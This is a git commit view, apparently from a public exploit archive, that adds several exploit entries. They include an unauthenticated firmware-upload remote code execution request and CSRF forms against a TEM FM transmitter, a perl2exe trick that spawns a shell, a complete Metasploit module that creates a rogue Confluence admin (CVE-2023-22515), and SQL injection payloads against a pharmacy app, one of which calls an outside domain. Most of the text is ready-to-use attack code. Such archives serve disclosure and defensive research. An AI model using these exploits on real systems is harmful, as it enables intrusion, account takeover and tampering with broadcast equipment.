Merge remote-tracking branch 'upstream/main'

CERTCC · Feb 28, 2024 · 887fd19 · 887fd19
2 parents 8c880c1 + c1bcfc6
commit 887fd19
Show file tree

Hide file tree

Showing 13 changed files with 993 additions and 0 deletions.
diff --git a/exploits/hardware/remote/51827.txt b/exploits/hardware/remote/51827.txt
@@ -0,0 +1,67 @@
+TEM Opera Plus FM Family Transmitter 35.45 Remote Code Execution
+
+
+Vendor: Telecomunicazioni Elettro Milano (TEM) S.r.l.
+Product web page: https://www.tem-italy.it
+Affected version: Software version: 35.45
+                  Webserver version: 1.7
+
+Summary: This new line of Opera plus FM Transmitters combines very
+high efficiency, high reliability and low energy consumption in compact
+solutions. They have innovative functions and features that can eliminate
+the costs required by additional equipment: automatic exchange of audio
+sources, built-in stereo encoder, integrated RDS encoder, parallel I/O
+card, connectivity through GSM telemetry and/or TCP IP / SNMP / SMTP
+Webserver.
+
+Desc: The device allows access to an unprotected endpoint that allows
+MPFS File System binary image upload without authentication. The MPFS2
+file system module provides a light-weight read-only file system that
+can be stored in external EEPROM, external serial Flash, or internal
+Flash program memory. This file system serves as the basis for the
+HTTP2 web server module, but is also used by the SNMP module and is
+available to other applications that require basic read-only storage
+capabilities. This can be exploited to overwrite the flash program
+memory that holds the web server's main interfaces and execute arbitrary
+code.
+
+Tested on: Webserver
+
+
+Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
+                            @zeroscience
+
+
+Advisory ID: ZSL-2023-5799
+Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5799.php
+
+
+18.08.2023
+
+--
+
+
+POST /mpfsupload HTTP/1.1
+Host: 192.168.1.2:8000
+Content-Length: 251
+Cache-Control: max-age=0
+Content-Type: multipart/form-data; boundary=----joxypoxy2
+User-Agent: MPFS2_PoC/2.0c
+Accept: */*
+Accept-Encoding: gzip, deflate
+Accept-Language: en-US,en;q=0.9
+Connection: close
+
+------joxypoxy2
+Content-Disposition: form-data; name="i"; filename="MPFSimg2.bin"
+Content-Type: application/octet-stream
+
+MPFS...<CGI BINARY PHONE HOME>
+-----joxypoxy2--
+
+
+HTTP/1.1 200 OK
+Connection: close
+Content-Type: text/html
+
+<html><body style="margin:100px"><b>MPFS Update Successful</b><p><a href="/">Site main page</a></body></html>
diff --git a/exploits/hardware/remote/51828.txt b/exploits/hardware/remote/51828.txt
@@ -0,0 +1,92 @@
+<!--
+
+TEM Opera Plus FM Family Transmitter 35.45 XSRF
+
+
+Vendor: Telecomunicazioni Elettro Milano (TEM) S.r.l.
+Product web page: https://www.tem-italy.it
+Affected version: Software version: 35.45
+                  Webserver version: 1.7
+
+Summary: This new line of Opera plus FM Transmitters combines very
+high efficiency, high reliability and low energy consumption in compact
+solutions. They have innovative functions and features that can eliminate
+the costs required by additional equipment: automatic exchange of audio
+sources, built-in stereo encoder, integrated RDS encoder, parallel I/O
+card, connectivity through GSM telemetry and/or TCP IP / SNMP / SMTP
+Webserver.
+
+Desc: The application interface allows users to perform certain actions
+via HTTP requests without performing any validity checks to verify the
+requests. This can be exploited to perform certain actions with administrative
+privileges if a logged-in user visits a malicious web site.
+
+Tested on: Webserver
+
+
+Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
+                            @zeroscience
+
+
+Advisory ID: ZSL-2023-5800
+Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5800.php
+
+
+18.08.2023
+
+-->
+
+
+CSRF Change Forward Power:
+-------------------------
+
+<html>
+  <body>
+    <form action="http://192.168.1.2:8000/user/postcmd.htm" method="POST" enctype="text/plain">
+      <input type="hidden" name="Pwr" value="00100" />
+      <input type="submit" value="Change" />
+    </form>
+  </body>
+</html>
+
+
+CSRF Change Frequency:
+---------------------
+
+<html>
+  <body>
+    <form action="http://192.168.1.2:8000/user/postcmd.htm" method="POST" enctype="text/plain">
+      <input type="hidden" name="Freq" value="95&#46;5" />
+      <input type="submit" value="Change" />
+    </form>
+  </body>
+</html>
+
+
+CSRF Change User/Pass/Priv Change Admin/User/Pass:
+-------------------------------------------------
+
+<html>
+  <body>
+    <form action="http://192.168.1.2:8000/protect/accounts.htm" method="POST">
+      <input type="hidden" name="usr0" value="admin" />
+      <input type="hidden" name="psw0" value="admin" />
+      <input type="hidden" name="usr1" value="operator1" />
+      <input type="hidden" name="psw1" value="operator1" />
+      <input type="hidden" name="lev1" value="1" />
+      <input type="hidden" name="usr2" value="operator2" />
+      <input type="hidden" name="psw2" value="operator2" />
+      <input type="hidden" name="lev2" value="1" />
+      <input type="hidden" name="usr3" value="consulter1" />
+      <input type="hidden" name="psw3" value="consulter1" />
+      <input type="hidden" name="lev3" value="2" />
+      <input type="hidden" name="usr4" value="consulter2" />
+      <input type="hidden" name="psw4" value="consulter2" />
+      <input type="hidden" name="lev4" value="2" />
+      <input type="hidden" name="usr5" value="consulter3" />
+      <input type="hidden" name="psw5" value="consulter3" />
+      <input type="hidden" name="lev5" value="2" />
+      <input type="submit" value="Change" />
+    </form>
+  </body>
+</html>
diff --git a/exploits/multiple/remote/51825.txt b/exploits/multiple/remote/51825.txt
@@ -0,0 +1,48 @@
+# Exploit Title: Executables Created with perl2exe <= V30.10C - Arbitrary Code Execution
+# Date: 10/17/2023
+# Exploit Author: decrazyo
+# Vendor Homepage: https://www.indigostar.com/
+# Software Link: https://www.indigostar.com/download/p2x-30.10-Linux-x64-5.30.1.tar.gz
+# Version: <= V30.10C
+# Tested on: Ubuntu 22.04
+
+# Description:
+perl2exe packs perl scripts into native executables.
+Those executables use their 0th argument to locate a file to unpack and execute.
+Because of that, such executables can be made to execute another executable that has been compiled with perl2exe by controlling the 0th argument.
+That can be useful for breaking out of restricted shell environments.
+
+# Proof and Concept:
+user@testing:~/example$ ls
+p2x-30.10-Linux-x64-5.30.1.tar.gz  perl2exe-Linux-x64-5.30.1
+user@testing:~/example$
+user@testing:~/example$ # Create and pack a "safe" perl script to target with the attack.
+user@testing:~/example$ echo 'print("I am completely safe\n");' > safe.pl
+user@testing:~/example$ ./perl2exe-Linux-x64-5.30.1/perl2exe safe.pl
+Perl2Exe V30.10C 2020-12-11 Copyright (c) 1997-2020 IndigoSTAR Software
+...
+Generating safe
+user@testing:~/example$
+user@testing:~/example$ # Check that the program executes as expected.
+user@testing:~/example$ ./safe
+I am completely safe
+user@testing:~/example$
+user@testing:~/example$ # Create and pack a "malicious" script that we want to execute.
+user@testing:~/example$ echo 'print("j/k I am malicious AF\n");system("/bin/sh");' > malicious.pl
+user@testing:~/example$ ./perl2exe-Linux-x64-5.30.1/perl2exe malicious.pl
+Perl2Exe V30.10C 2020-12-11 Copyright (c) 1997-2020 IndigoSTAR Software
+...
+Generating malicious
+user@testing:~/example$
+user@testing:~/example$ # Our "malicious" file doesn't need to have execution permissions.
+user@testing:~/example$ chmod -x malicious
+user@testing:~/example$ ./malicious
+-bash: ./malicious: Permission denied
+user@testing:~/example$
+user@testing:~/example$ # Execute the "safe" program with the name of the "malicious" program as the 0th argument.
+user@testing:~/example$ # The "safe" program will unpack and execute the "malicious" program instead of itself.
+user@testing:~/example$ bash -c 'exec -a malicious ./safe'
+j/k I am malicious AF
+$ pstree -s $$
+systemd───sshd───sshd───sshd───bash───safe───sh───pstree
+$
diff --git a/exploits/multiple/webapps/51829.rb b/exploits/multiple/webapps/51829.rb
@@ -0,0 +1,138 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+
+  prepend Msf::Exploit::Remote::AutoCheck
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'Atlassian Confluence Data Center and Server Authentication Bypass via Broken Access Control',
+        'Description' => %q{
+          This module exploits a broken access control vulnerability in Atlassian Confluence servers leading to an authentication bypass.
+          A specially crafted request can be create new admin account without authentication on the target Atlassian server.
+        },
+        'Author' => [
+          'Unknown', # exploited in the wild
+          'Emir Polat' # metasploit module
+        ],
+        'References' => [
+          ['CVE', '2023-22515'],
+          ['URL', 'https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html'],
+          ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-22515'],
+          ['URL', 'https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis']
+        ],
+        'DisclosureDate' => '2023-10-04',
+        'DefaultOptions' => {
+          'RPORT' => 8090
+        },
+        'License' => MSF_LICENSE,
+        'Notes' => {
+          'Stability' => [CRASH_SAFE],
+          'Reliability' => [REPEATABLE_SESSION],
+          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
+        }
+      )
+    )
+
+    register_options([
+      OptString.new('TARGETURI', [true, 'Base path', '/']),
+      OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username], regex: /^[a-z._@]+$/),
+      OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(8)]),
+      OptString.new('NEW_EMAIL', [true, 'E-mail to be used when creating a new user with admin privileges', Faker::Internet.email])
+    ])
+  end
+
+  def check
+    res = send_request_cgi(
+      'method' => 'GET',
+      'uri' => normalize_uri(target_uri.path, '/login.action')
+    )
+    return Exploit::CheckCode::Unknown unless res
+    return Exploit::CheckCode::Safe unless res.code == 200
+
+    poweredby = res.get_xml_document.xpath('//ul[@id="poweredby"]/li[@class="print-only"]/text()').first&.text
+    return Exploit::CheckCode::Safe unless poweredby =~ /Confluence (\d+(\.\d+)*)/
+
+    confluence_version = Rex::Version.new(Regexp.last_match(1))
+
+    vprint_status("Detected Confluence version: #{confluence_version}")
+
+    if confluence_version.between?(Rex::Version.new('8.0.0'), Rex::Version.new('8.3.2')) ||
+       confluence_version.between?(Rex::Version.new('8.4.0'), Rex::Version.new('8.4.2')) ||
+       confluence_version.between?(Rex::Version.new('8.5.0'), Rex::Version.new('8.5.1'))
+      return Exploit::CheckCode::Appears("Exploitable version of Confluence: #{confluence_version}")
+    end
+
+    Exploit::CheckCode::Safe("Confluence version: #{confluence_version}")
+  end
+
+  def run
+    res = send_request_cgi(
+      'method' => 'GET',
+      'uri' => normalize_uri(target_uri.path, '/server-info.action'),
+      'vars_get' => {
+        'bootstrapStatusProvider.applicationConfig.setupComplete' => 'false'
+      }
+    )
+
+    return fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Version vulnerable but setup is already completed') unless res&.code == 302 || res&.code == 200
+
+    print_good('Found server-info.action! Trying to ignore setup.')
+
+    created_user = create_admin_user
+
+    res = send_request_cgi(
+      'method' => 'POST',
+      'uri' => normalize_uri(target_uri.path, 'setup/finishsetup.action'),
+      'headers' => {
+        'X-Atlassian-Token' => 'no-check'
+      }
+    )
+
+    return fail_with(Msf::Exploit::Failure::NoAccess, 'The admin user could not be created. Try a different username.') unless created_user
+
+    print_warning('Admin user was created but setup could not be completed.') unless res&.code == 200
+
+    create_credential({
+      workspace_id: myworkspace_id,
+      origin_type: :service,
+      module_fullname: fullname,
+      username: datastore['NEW_USERNAME'],
+      private_type: :password,
+      private_data: datastore['NEW_PASSWORD'],
+      service_name: 'Atlassian Confluence',
+      address: datastore['RHOST'],
+      port: datastore['RPORT'],
+      protocol: 'tcp',
+      status: Metasploit::Model::Login::Status::UNTRIED
+    })
+
+    print_good("Admin user was created successfully. Credentials: #{datastore['NEW_USERNAME']} - #{datastore['NEW_PASSWORD']}")
+    print_good("Now you can login as administrator from: http://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}login.action")
+  end
+
+  def create_admin_user
+    res = send_request_cgi(
+      'method' => 'POST',
+      'uri' => normalize_uri(target_uri.path, 'setup/setupadministrator.action'),
+      'headers' => {
+        'X-Atlassian-Token' => 'no-check'
+      },
+      'vars_post' => {
+        'username' => datastore['NEW_USERNAME'],
+        'fullName' => 'New Admin',
+        'email' => datastore['NEW_EMAIL'],
+        'password' => datastore['NEW_PASSWORD'],
+        'confirm' => datastore['NEW_PASSWORD'],
+        'setup-next-button' => 'Next'
+      }
+    )
+    res&.code == 302
+  end
+end
diff --git a/exploits/php/webapps/51818.txt b/exploits/php/webapps/51818.txt
@@ -0,0 +1,45 @@
+## Title: dawa-pharma-1.0-2022 Multiple-SQLi
+## Author: nu11secur1ty
+## Date: 10/12/2023
+## Vendor: https://www.mayurik.com/
+## Software: https://www.mayurik.com/source-code/P0349/best-pharmacy-billing-software-free-download
+## Reference: https://portswigger.net/web-security/sql-injection
+
+
+## Description:
+The email parameter appears to be vulnerable to SQL injection attacks.
+The payload '+(select
+load_file('\\\\ke2v0nog1ghmfe276ddp7smbi2ovcm7aydm59vxk.tupaputka.com\\lhc'))+'
+was submitted in the email parameter. This payload injects a SQL
+sub-query that calls MySQL's load_file function with a UNC file path
+that references a URL on an external domain. The application
+interacted with that domain, indicating that the injected SQL query
+was executed. The attacker can get all the information for the clients
+of this application from the server, and very sensitive information
+for accessing the server by exploiting the vulnerability.
+
+[+]Payload:
+```MySQL
+---
+Parameter: email (POST)
+    Type: boolean-based blind
+    Title: OR boolean-based blind - WHERE or HAVING clause
+    Payload: email=-8698' OR 5305=5305-- vvuH&password=mayurik&login=
+
+    Type: time-based blind
+    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
+    Payload: [email protected]'+(select
+load_file('\\\\ke2v0nog1ghmfe276ddp7smbi2ovcm7aydm59vxk.tupaputka.com\\lhc'))+''
+AND (SELECT 4515 FROM (SELECT(SLEEP(15)))KUth)--
+VRdC&password=mayurik&login=
+---
+```
+
+
+## Reproduce:
+https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/dawa-pharma-1.0-2022
+
+
+System Administrator - Infrastructure Engineer
+Penetration Testing Engineer
+home page: https://www.nu11secur1ty.com/